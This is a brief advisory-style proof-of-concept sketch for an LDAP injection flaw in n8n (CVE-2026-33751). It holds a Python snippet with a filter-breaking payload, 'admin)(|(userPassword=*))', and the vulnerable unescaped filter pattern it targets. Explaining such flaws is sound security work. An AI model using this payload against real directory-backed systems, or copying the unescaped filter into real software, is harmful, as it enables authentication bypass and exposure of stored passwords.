CVE-2026-33751 n8n平台LDAP注入漏洞

# PoC Concept for LDAP Injection in n8n # This demonstrates how an attacker might craft input to manipulate the LDAP filter. # Scenario: An n8n workflow takes a 'username' from a Webhook and uses it in an LDAP node. # The vulnerable filter construction might look like: (uid={{ $json.username }}) # Malicious input payload payload = "admin)(|(userPassword=*))" # If the application does not escape metacharacters, the resulting LDAP filter becomes: # (uid=admin)(|(userPassword=*))) # This could potentially bypass authentication or return unintended records. print(f"Injecting payload: {payload}")